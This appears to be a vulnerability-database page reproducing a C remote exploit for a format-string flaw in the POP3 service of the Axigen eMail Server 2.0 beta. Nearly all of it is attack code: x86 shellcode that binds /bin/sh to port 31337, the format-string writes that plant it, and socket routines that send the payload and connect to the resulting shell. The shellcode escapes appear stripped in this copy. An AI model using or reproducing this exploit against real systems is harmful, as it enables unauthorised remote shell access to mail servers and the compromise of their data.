Lucene search
K

Axigen eMail Server 2.0.0b2 (pop3) Remote Format String Exploit

🗓️ 19 Feb 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 34 Views

Axigen eMail Server 2.0.0b2 (pop3) Remote Format String Exploit by fuGich. Test on Axigen V2 (beta). Remote shell format string vulnerability in pop3. Bin/sh to bind to port 31337. Optimised format string using libforSC

Code

                                                /* axiagen.c
 *
 * Axigen eMail Server v2.0 (beta)
 * 	by fuGich Tue Dec 5 2006
 *
 * 		thanks to mu-b
 *
 * - Tested on: Axigen V2 (beta)
 *
 *   logType for the pop3 service must be \"system\" and 
 *   the logLevel set to any number with 4th bit set
 *
 * remote shell format string vulnerability in pop3
 * 	/bin/sh to bind to port 31337
 *
 * optimised format string generated with libforSC
 * used hhn for writes, could have been hn\'s but this was small enough and reduces size of log entry generated
 * 
 */

#include&nbsp;<stdio.h>
#include&nbsp;<stdlib.h>
#include&nbsp;<string.h>
#include&nbsp;<unistd.h>
#include&nbsp;<netdb.h>


#define&nbsp;DEF_PORT&nbsp;&nbsp;&nbsp;&nbsp;110
#define&nbsp;PORT_POP3&nbsp;&nbsp;&nbsp;DEF_PORT


char&nbsp;formatString[]&nbsp;=
	
	//&nbsp;plt&nbsp;fixup&nbsp;code

	\"xbaxd8xbex85x09\"		//&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp;$0x985bed8,%edx
	\"xc7x02x9axf0x04x08\"	//&nbsp;movl&nbsp;&nbsp;&nbsp;$0x804f09a,(%edx)
	\"x8dx52x04\"			//&nbsp;lea&nbsp;&nbsp;&nbsp;&nbsp;0x4(%edx),%edx
	\"xc6x02xaa\"			//&nbsp;movb&nbsp;&nbsp;&nbsp;$0xaa,(%edx)
	\"x90x90x90\"			//&nbsp;make&nbsp;divisible&nbsp;by&nbsp;8
	
	//
	//&nbsp;bind&nbsp;shell&nbsp;with&nbsp;fork&nbsp;to&nbsp;port&nbsp;31337&nbsp;98&nbsp;bytes
	//

	\"x6ax66\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;$0x66&nbsp;
	\"x58\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;pop&nbsp;%eax&nbsp;
	\"x99\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;cltd&nbsp;
	\"x6ax01\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;$0x1&nbsp;
	\"x5b\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;pop&nbsp;%ebx&nbsp;
	\"x52\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;%edx&nbsp;
	\"x53\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;%ebx&nbsp;
	\"x6ax02\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;$0x2&nbsp;

	//
	//&nbsp;<_doint>:
	//

	\"x89xe1\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;mov&nbsp;%esp,%ecx&nbsp;
	\"xcdx80\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;$0x80&nbsp;

	\"x5b\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;pop&nbsp;%ebx&nbsp;
	\"x5d\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;pop&nbsp;%ebp&nbsp;
	\"x52\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;%edx&nbsp;
	\"x66xbdx69x7a\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;mov&nbsp;$0x7a69,%bp&nbsp;(0x7a69&nbsp;=&nbsp;31337)
	\"x0fxcd\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;bswap&nbsp;%ebp&nbsp;
	\"x09xdd\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;or&nbsp;%ebx,%ebp&nbsp;
	\"x55\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;%ebp&nbsp;
	\"x6ax10\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;$0x10&nbsp;
	\"x51\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;%ecx&nbsp;
	\"x50\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;%eax&nbsp;
	\"x89xe1\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;mov&nbsp;%esp,%ecx&nbsp;
	\"xb0x66\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;mov&nbsp;$0x66,%al&nbsp;
	\"xcdx80\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;$0x80&nbsp;
	\"xb3x04\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;mov&nbsp;$0x4,%bl&nbsp;
	\"xb0x66\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;mov&nbsp;$0x66,%al&nbsp;
	\"xcdx80\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;$0x80&nbsp;

	//
	//&nbsp;<_acceptloop>:
	//

	\"x5f\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;pop&nbsp;%edi&nbsp;
	\"x50\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;%eax&nbsp;
	\"x50\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;%eax&nbsp;
	\"x57\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;%edi&nbsp;
	\"x89xe1\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;mov&nbsp;%esp,%ecx&nbsp;
	\"x43\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;inc&nbsp;%ebx&nbsp;
	\"xb0x66\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;mov&nbsp;$0x66,%al&nbsp;
	\"xcdx80\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;$0x80&nbsp;
	\"x93\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;xchg&nbsp;%eax,%ebx&nbsp;
	\"xb0x02\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;mov&nbsp;$0x2,%al&nbsp;
	\"xcdx80\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;$0x80&nbsp;
	\"x85xc0\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;test&nbsp;%eax,%eax&nbsp;
	\"x75x1a\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;jne&nbsp;<_parent>&nbsp;
	\"x59\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;pop&nbsp;%ecx&nbsp;

	//
	//&nbsp;<_dup2loop>:
	//

	\"xb0x3f\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;mov&nbsp;$0x3f,%al&nbsp;
	\"xcdx80\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;$0x80&nbsp;
	\"x49\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;dec&nbsp;%ecx&nbsp;
	\"x79xf9\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;jns&nbsp;<_dup2loop>&nbsp;

	\"xb0x0b\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;mov&nbsp;$0xb,%al&nbsp;
	\"x68x2fx2fx73x68\"&nbsp;&nbsp;//&nbsp;push&nbsp;$0x68732f2f&nbsp;
	\"x68x2fx62x69x6e\"&nbsp;&nbsp;//&nbsp;push&nbsp;$0x6e69622f&nbsp;
	\"x89xe3\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;mov&nbsp;%esp,%ebx&nbsp;
	\"x52\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;%edx&nbsp;
	\"x53\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;%ebx&nbsp;
	\"xebxb2\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;jmp&nbsp;<_doint>&nbsp;

	//
	//&nbsp;<_parent>:
	//

	\"x6ax06\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;push&nbsp;$0x6&nbsp;
	\"x58\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;pop&nbsp;%eax&nbsp;
	\"xcdx80\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;$0x80&nbsp;
	\"xb3x04\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;mov&nbsp;$0x4,%bl&nbsp;
	\"xebxc9\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;jmp&nbsp;<_acceptloop>

	//
	//&nbsp;9&nbsp;write&nbsp;addresses
	//

	\"xd8xbex85x09\"	//&nbsp;pointer&nbsp;@&nbsp;0x0985bed8
	\"xd9xbex85x09\"
	\"xdaxbex85x09\"
	\"xdbxbex85x09\"
	\"xe0xbex85x09\"	//&nbsp;place&nbsp;shell&nbsp;code&nbsp;@&nbsp;0x0985bee0
	\"xe1xbex85x09\"
	\"xe2xbex85x09\"
	\"xe3xbex85x09\"
	\"xe4xbex85x09\"

	//&nbsp;add&nbsp;the&nbsp;format&nbsp;string

	\"%18u%66$n%34u%65$hhn%31u%72$hhn%10u%68$hhn%31u%71$hhn%87u%70$hhn%14u%69$hhn%90u%73$hhn%158u%67$hhn
\";


static&nbsp;int&nbsp;sock_send&nbsp;(int&nbsp;sock,&nbsp;u_char&nbsp;*&nbsp;src,&nbsp;int&nbsp;len);
static&nbsp;void&nbsp;formatme&nbsp;(u_char&nbsp;*&nbsp;host);
static&nbsp;int&nbsp;sockami&nbsp;(u_char&nbsp;*&nbsp;host,&nbsp;int&nbsp;port);
void&nbsp;shell&nbsp;(int&nbsp;sock);

void&nbsp;shell&nbsp;(int&nbsp;sock){		/*&nbsp;Attach&nbsp;to&nbsp;Remote&nbsp;Shell&nbsp;*/

	int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l;
	char&nbsp;&nbsp;&nbsp;&nbsp;buf[512];
	fd_set&nbsp;&nbsp;rfds;

	while&nbsp;(1)&nbsp;{
		FD_SET&nbsp;(0,&nbsp;&rfds);
		FD_SET&nbsp;(sock,&nbsp;&rfds);
		select&nbsp;(sock&nbsp;+&nbsp;1,&nbsp;&rfds,&nbsp;NULL,&nbsp;NULL,&nbsp;NULL);
		if&nbsp;(FD_ISSET&nbsp;(0,&nbsp;&rfds))&nbsp;{
			l&nbsp;=&nbsp;read&nbsp;(0,&nbsp;buf,&nbsp;sizeof&nbsp;(buf));
			if&nbsp;(l&nbsp;<=&nbsp;0)&nbsp;{
				printf(\"
&nbsp;-&nbsp;Connection&nbsp;closed&nbsp;by&nbsp;local&nbsp;user
\");
				exit&nbsp;(EXIT_FAILURE);
			}
			write&nbsp;(sock,&nbsp;buf,&nbsp;l);
		}
		if&nbsp;(FD_ISSET&nbsp;(sock,&nbsp;&rfds))&nbsp;{
			l&nbsp;=&nbsp;read&nbsp;(sock,&nbsp;buf,&nbsp;sizeof&nbsp;(buf));
			if&nbsp;(l&nbsp;==&nbsp;0)&nbsp;{
				printf&nbsp;(\"
&nbsp;-&nbsp;Connection&nbsp;closed&nbsp;by&nbsp;remote&nbsp;host.
\");
				exit&nbsp;(EXIT_FAILURE);
			}&nbsp;else&nbsp;if&nbsp;(l&nbsp;<&nbsp;0)&nbsp;{
				printf&nbsp;(\"
&nbsp;-&nbsp;Read&nbsp;failure
\");
				exit&nbsp;(EXIT_FAILURE);
			}
			write&nbsp;(1,&nbsp;buf,&nbsp;l);
		}
	}
}

static&nbsp;int&nbsp;sock_send&nbsp;(int&nbsp;sock,&nbsp;u_char&nbsp;*&nbsp;src,&nbsp;int&nbsp;len){		/*&nbsp;send&nbsp;data&nbsp;to&nbsp;the&nbsp;open&nbsp;socket&nbsp;*/

	int&nbsp;sbytes;
	sbytes&nbsp;=&nbsp;send&nbsp;(sock,&nbsp;src,&nbsp;len,&nbsp;0);
	return&nbsp;(sbytes);
}

static&nbsp;int&nbsp;sockami&nbsp;(u_char&nbsp;*&nbsp;host,&nbsp;int&nbsp;port){	/*&nbsp;create&nbsp;the&nbsp;socket&nbsp;*/

	struct&nbsp;sockaddr_in&nbsp;address;
	struct&nbsp;hostent&nbsp;*hp;
	int&nbsp;sock;

	fflush&nbsp;(stdout);
	if&nbsp;((sock&nbsp;=&nbsp;socket&nbsp;(AF_INET,&nbsp;SOCK_STREAM,&nbsp;0))&nbsp;==&nbsp;-1){
		perror&nbsp;(\"socket()\");
		exit&nbsp;(-1);
	}

	if&nbsp;((hp&nbsp;=&nbsp;gethostbyname&nbsp;(host))&nbsp;==&nbsp;NULL){
		perror&nbsp;(\"gethostbyname()\");
		exit&nbsp;(-1);
	}

	memset&nbsp;(&address,&nbsp;0,&nbsp;sizeof&nbsp;(address));
	memcpy&nbsp;((char&nbsp;*)&nbsp;&address.sin_addr,&nbsp;hp->h_addr,&nbsp;hp->h_length);
	address.sin_family&nbsp;=&nbsp;AF_INET;
	address.sin_port&nbsp;=&nbsp;htons&nbsp;(port);

	if&nbsp;(connect&nbsp;(sock,&nbsp;(struct&nbsp;sockaddr&nbsp;*)&nbsp;&address,&nbsp;sizeof&nbsp;(address))&nbsp;==&nbsp;-1){
		perror&nbsp;(\"connect()\");
		exit&nbsp;(EXIT_FAILURE);
	}
	return&nbsp;(sock);
}

static&nbsp;void&nbsp;formatme&nbsp;(u_char&nbsp;*&nbsp;host){	/*&nbsp;do&nbsp;the&nbsp;evil&nbsp;*/

	int&nbsp;sock;
	printf&nbsp;(\"+Connecting&nbsp;to&nbsp;%s:%d&nbsp;\",&nbsp;host,&nbsp;PORT_POP3);	
	sock&nbsp;=&nbsp;sockami&nbsp;(host,&nbsp;PORT_POP3);
	printf&nbsp;(\"
+Sending&nbsp;format&nbsp;string
\");
	sock_send&nbsp;(sock,&nbsp;formatString,&nbsp;strlen&nbsp;(formatString));
	fflush&nbsp;(stdout);
	sleep(2);	
	printf&nbsp;(\"+Connecting&nbsp;to&nbsp;Shell&nbsp;\");	
	sock&nbsp;=&nbsp;sockami&nbsp;(host,&nbsp;31337);
	printf&nbsp;(\"-&nbsp;Done
\");
	shell(sock);

}

int&nbsp;main&nbsp;(int&nbsp;argc,&nbsp;char&nbsp;**argv){	/*&nbsp;go&nbsp;figure&nbsp;*/

	printf&nbsp;(\"Axigen&nbsp;2.0&nbsp;beta&nbsp;Remote&nbsp;pop3&nbsp;exploit
\"
		\"by:&nbsp;<[email protected]>

\");

	if&nbsp;(argc&nbsp;<=&nbsp;1)
	{
		fprintf&nbsp;(stderr,&nbsp;\"Usage:&nbsp;%s&nbsp;<host>

\",&nbsp;argv[0]);
		exit&nbsp;(EXIT_SUCCESS);
	}

	formatme&nbsp;(argv[1]);
}

&nbsp;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation